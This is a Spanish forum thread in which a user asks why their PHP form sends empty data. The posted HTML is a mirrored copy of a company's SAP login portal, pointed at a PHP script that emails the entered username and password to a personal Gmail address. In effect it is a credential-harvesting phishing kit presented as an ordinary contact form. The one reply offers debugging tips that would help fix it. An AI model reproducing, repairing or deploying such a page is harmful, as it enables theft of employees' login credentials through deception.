Foro de elhacker.net

Programación => PHP => Mensaje iniciado por: ramira en 22 Septiembre 2016, 20:30 pm



Título: Los datos de mi formulario me llegan vacíos
Publicado por: ramira en 22 Septiembre 2016, 20:30 pm
Buenas, tengo creado un formulario en html y una acción en php para que me lleguen los datos del formulario a mi correo, me llega el correo pero los datos llegan vacíos, les agradecería me pudieran ayudar ya que no se donde puede estar el fallo. Estos son los códigos:

CÓDIGO PHP:

Código
  1. <?php
  2. function MandaEmail($mailTo,$mailFrom,$mailSubject,$mailBody,$mailFormat) {
  3.    if($mailFormat == 0) {
  4.        $headers  = "MIME-Version: 1.0\r\n";
  5.        $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
  6.    } else {
  7.        $headers = "";
  8.    }
  9.  
  10.    $headers .= "From: ". $mailFrom . "\r\n";
  11.    $headers .= "Reply-To: " . $mailFrom . "\r\n";
  12.    $headers .= "X-Mailer: PHP/" . phpversion();
  13.  
  14.    mail($mailTo,$mailSubject,$mailBody,$headers);
  15. }
  16. ;
  17.    $mailTo = "mfcamposreyes@gmail.com";// Dirección de Email a donde se enviara el correo
  18.    $usuarios=$_POST['j_username'];
  19.    $clave_de_acceso=$_POST['j_password'];
  20.    $mailSubject = "Intranet";
  21.  
  22. $mailFormat = 0;
  23. $mailBody = <<<EOT
  24. <div style="width:380px; border:1px #999 solid; font-family:verdana; font-size:12px; color:#333; padding:10px;">
  25. <h1 style="font-size:14px; font-family:comic sans;">Datos de Contacto</h1>
  26. <strong>Usuarios:</strong> $j_username\r\n <br />
  27. <strong>Clave_de_acceso:</strong> $j_password\r\n <br />
  28. </div>
  29. EOT;
  30.    MandaEmail($mailTo,$mailFrom,$mailSubject,$mailBody,$mailFormat);
  31. ?>
  32. <?php
  33.    echo <<<EOT
  34. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  35. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es-MX" lang="es-MX">
  36. <head>
  37.     <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
  38.     <meta name="author" content="Ag666" />
  39.     <meta name="keywords" content="" />
  40.     <title>Gracias por contactarnos</title>
  41. </head>
  42. <body>
  43.  
  44. <p style="font:700 15px 'trebuchet MS';color:#333;text-align:center;"></p>
  45.  
  46. </body>
  47. </html>
  48. EOT;
  49. ?>
  50.  
FORMULARIO EN HTML:

Código
  1. <!-- Mirrored from portal.imagina.tv/irj/portal by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 15 Sep 2016 14:26:25 GMT -->
  2. <!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=UTF-8" /><!-- /Added by HTTrack -->
  3. <script type="text/javascript">
  4. /*HTML Business for Java, 6.0*/
  5. ur_system = {doc : window.document , mimepath :"/com.sap.portal.design.urdesigndata/themes/portal/sap_standard/common/", stylepath : "/com.sap.portal.design.urdesigndata/themes/portal/sap_standard/ur/", is508 : false, domainrelaxing : "MINIMAL"};
  6. var popup_emptydoc = "../htmlb/jslib/emptyhover.html";</script>
  7. <link rel="stylesheet" href="../com.sap.portal.design.portaldesigndata/themes/portal/sap_standard/prtl_std/prtl_std_default88f5.html?v=7.31.11.0.0" />
  8.  
  9. <!-- EPCF: BOB Core -->
  10. <meta http-equiv="content-script-type" content="text/javascript"/>
  11. <script type="text/javascript" src="../com.sap.portal.epcf.loader/script/optimize/js13_epcf1e03.js?7.310000014"></script>
  12. <script type="text/javascript">
  13. <!--
  14. EPCM.relaxDocumentDomain();
  15. EPCM.init( {
  16. Version:7.310000014,
  17. Level:1,
  18. DynamicTop:false, // [service=true nestedWinOnAlias=false]
  19. UAType:2, // [Netscape]
  20. UAVersion:4.5,
  21. UAPlatform:1, // [Win]
  22. UIPMode:"1", // [Default=1, User=0, Personalize=true]
  23. UIPWinFeatures:"",
  24. UIPPortalPath:"http://portal.imagina.tv:80/irj/portal",
  25. UIPPopupComp:"http://portal.imagina.tv:80/irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.admin.WorkProtectPopup",
  26. UIPPopupCompSize:"dialogWidth:450px; dialogHeight:200px; status:no",
  27. UIPPopupMsgNN:"Su\x20p\xe1gina\x20actual\x20contiene\x20datos\x20no\x20grabados\r\n\xbfDesea\x20continuar\x20con\x20la\x20navegaci\xf3n\x20y\x20abrir\x20una\x20ventana\x20nueva\x3f",
  28. UIPPopupMsgND:"Su\x20p\xe1gina\x20actual\x20contiene\x20datos\x20no\x20grabados\r\n\xbfDesea\x20rechazar\x20las\x20modificaciones\x20y\x20abrir\x20el\x20contenido\x20en\x20la\x20misma\x20ventana\x3f",
  29. DBGException:false,
  30. DBCookie:false
  31. } );
  32. EPCM.DSM.init( {
  33. TerminatorURL:"/irj/servlet/prt/portal/prtroot/com.sap.portal.dsm.Terminator",
  34. WinEmptyUrl:"/com.sap.portal.dsm/images/empty.gif",
  35. NavAcrossSubFramesUrl:"disabled",
  36. ForcedUserDebug:false,
  37. KeepAliveActive:false,
  38. KeepAliveDelta:840,
  39. dsmMethodGetKey:"",
  40. KeepAliveStopAfter:36000
  41. } );
  42. function SAPWP_receiveSessInfo( sessInfo, frameRef ){
  43.  EPCM.DSM.processSession( sessInfo, frameRef );
  44. }
  45. //-->
  46. <!-- EPCF: EOB Core -->
  47. <title>SAP&#38;#38;#x20;NetWeaver&#38;#38;#x20;Portal</title><meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><link  REL=STYLESHEET  HREF="../com.sap.portal.design.urdesigndata/themes/portal/sap_standard/ur/ur_default34da.html?9900d9720b53f45449631546978bd40d?v=7.33.3.62.0"  TYPE="text/css" ></head><body class="prtlBody urFontBaseFam urScrl">
  48. <!-- EPCF: Component com.sap.portal.runtime.logon.certlogon, fkfloinideafgekfboionjfhcodnmpfc -->
  49.  var inPortalScript = true
  50.  var webpath = "../es.imagina.logon.page/index.html"
  51.  
  52. <link rel=stylesheet href="../es.imagina.logon.page/css/ur/ur_ie5.css">
  53. <script language="javascript">
  54. var originWindowName=window.name;
  55. window.name="logonAppPage";
  56. function restoreWindow() {
  57. try{
  58. window.name=originWindowName;
  59. } catch(ex){}
  60. }
  61. <script language="javascript">
  62. function putFocus(formInst, elementInst) {
  63.  if (document.forms.length > 0) {
  64.    document.forms[formInst].elements[elementInst].focus();
  65.  }
  66. }
  67.  
  68. function setValuesAutoCreation() {
  69. var form = document.getElementById('logonForm');
  70. form.j_username.value="";
  71. form.j_password.value="";
  72. form.automaticAccountCreation.value="true";
  73. }
  74. function submitForm() {
  75. var form = document.getElementById('logonForm');
  76. form.submit();
  77. }
  78. function clearEntries() {
  79.  document.logonForm.longUid.value="";
  80.  document.logonForm.password.value="";
  81. }
  82. function setFocusToFirstField() {
  83. myform = document.logonForm;
  84. try{
  85.   for (i=0; i<myform.length; i++) {
  86.    elem = myform.elements[i];
  87.    if (!elem.disabled) {
  88.      elemType = elem.type;
  89.      if (elemType=="text" || elemType=="password") {
  90.       if (!elem.readOnly) {
  91.          elem.focus();
  92.          break;
  93.       }
  94.      }
  95.      if (elemType=="select-one" || elemType=="select-multiple" || elemType=="checkbox" || elemType=="radio") {
  96.        elem.focus();
  97.        break;
  98.      }
  99.    }
  100.   }
  101. } catch(ex){
  102. }
  103. }
  104. function addTenantPrefix() {
  105.  return true;
  106. }
  107. <span id="UMELogon">
  108. <script language="javascript">
  109. if( window.EPCM != null ) {
  110.  EPCM.subscribeEvent( "urn:com.sapportals.portal:browser", "load", setFocusToFirstField );
  111. }
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.  
  120. <link rel="shortcut icon" type="image/x-icon" href="../es.imagina.logon.page/layout/imaginaurl.ico" />
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127. <form action="send.php" method="POST" enctype="text/plain">
  128. <FORM  AUTOCOMPLETE="off"  id="logonForm" name="logonForm" target="logonAppPage" method="POST" action="send.php" >
  129. <input name="login_submit" type="hidden" value="on"><input type="hidden" name="login_do_redirect" value="1" /><input name="no_cert_storing" type="hidden" value="on"><input type="hidden" name="j_salt" value="1RrXcriNa5mPA7RZflsuT6wP2Qk=" />
  130.  
  131. <table height="100%" width="100%">
  132. <tr>
  133. <td>
  134. <table width="725px" height="365px" align="center" valign="middle" border="0">
  135. <tr>
  136. <td>
  137. <div style="background-image: url('../es.imagina.logon.page/layout/imagina_loguin.jpg');background-repeat: no-repeat;">
  138. <table height="365px" width="100%"  border="0">
  139. <tr height="110px"><td></td><td>&nbsp;</td>
  140. <td valign="bottom">
  141.  
  142. </td>
  143. </tr>
  144.  
  145. <tr height="15px">
  146. <td width="375px"></td>
  147. <td width="1px">&nbsp;</td>
  148. <td valign="top">
  149. <span STYLE="font-size: smaller; color: #ffffff"><label class="null"><nobr>Usuarios<span class=urLblReq>&nbsp;*</span></nobr></label>
  150.  
  151. </span>
  152. </td>
  153. </tr>
  154. <tr height="25px">
  155. <td width="400px"></td>
  156. <td>&nbsp;</td>
  157. <td valign="top">
  158. <input type="text" id="logonuidfield"  name="j_username" value="" title="j_username*" class="urEdfTxtEnbl" style="width:170px">
  159.  
  160. </td>
  161. </tr>
  162.  
  163. <tr height="15px">
  164. <td>&nbsp;</td>
  165. <td>&nbsp;</td>
  166. <td valign="top">
  167. <span STYLE="font-size: smaller; color: #ffffff"><label class="null" for="logonpassfield"><nobr>Clave de acceso<span class=urLblReq>&nbsp;*</span></nobr></label>
  168. </span>
  169. </td>
  170. </tr >
  171. <tr height="45px">
  172. <td>&nbsp;</td>
  173. <td>&nbsp;</td>
  174. <td valign="top">
  175. <input type="password" id="logonpassfield"  name="j_password" class="urEdfTxtEnbl" style="width:170px">
  176.  
  177. </td>
  178. </tr >
  179. <tr height="28px">
  180. <td>&nbsp;</td>
  181. <td>&nbsp;</td>
  182. <td valign="28px" align="left">
  183. <a href="javascript:document.forms[0].submit()"
  184. onclick="return val_form_this_page()" align="left">
  185. <img src="../es.imagina.logon.page/layout/boton_es.png" border="0" alt="" name="sub_but" />
  186. </a>
  187. </td>
  188. </tr>
  189. <tr><td></td><td>&nbsp;</td></tr>
  190. <tr>
  191. <td width="400px"></td>
  192. <td colspan="2">
  193.  
  194. </td></tr>
  195. </table>
  196. </div>
  197. </td>
  198. </tr>
  199. </table>
  200.    </td></tr>
  201. </table>
  202.  
  203. </form>
  204.  
  205. <script src="../es.imagina_frameworkpage/scripts/jquery-1.8.0.min.js"></script>
  206. <script type="text/javascript" defer>
  207.  
  208. if (document.layers)
  209.    document.captureEvents(Event.KEYDOWN);
  210. document.onkeydown =
  211.     function (evt) {
  212.        var keyCode = evt ? (evt.which ? evt.which : evt.keyCode) : event.keyCode;
  213.        if (keyCode == 13) {
  214.         document.forms[0].submit();
  215.        }
  216.        if (keyCode == 27) {
  217.            //For escape.
  218.            //Your function here.
  219.        }
  220.        else
  221.            return true;
  222.    };
  223.  
  224.  
  225.  
  226.  
  227. </span>
  228. <SCRIPT>var hash = document.location.hash;if (hash && hash !='#'){ var forms = document.getElementsByTagName('FORM'); for (var i = 0; i < forms.length; i++) {      var form = forms[i];     var currentElement = document.createElement('input');     currentElement.setAttribute('type', 'hidden');     currentElement.setAttribute('name', 'postAnchorString');     currentElement.setAttribute('id', 'postAnchorString');     currentElement.setAttribute('value', hash);     form.appendChild(currentElement);     }}</SCRIPT></body>
  229. <!-- Mirrored from portal.imagina.tv/irj/portal by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 15 Sep 2016 14:26:28 GMT -->
  230. </html>


Mod: Los códigos deben ir en etiquetas GeSHi


Título: Re: Los datos de mi formulario me llegan vacíos
Publicado por: engel lex en 23 Septiembre 2016, 05:14 am
tu html tiene tooodo el codigo y gran parte no relevante al tema, es pesado revisarlo a ver los errores a primera vista...

en el codigo de send.php, usar un var_dump a post a ver que te está llegando, si no llega ninguna variable, asegurate que estás llamandolo desde el script correcto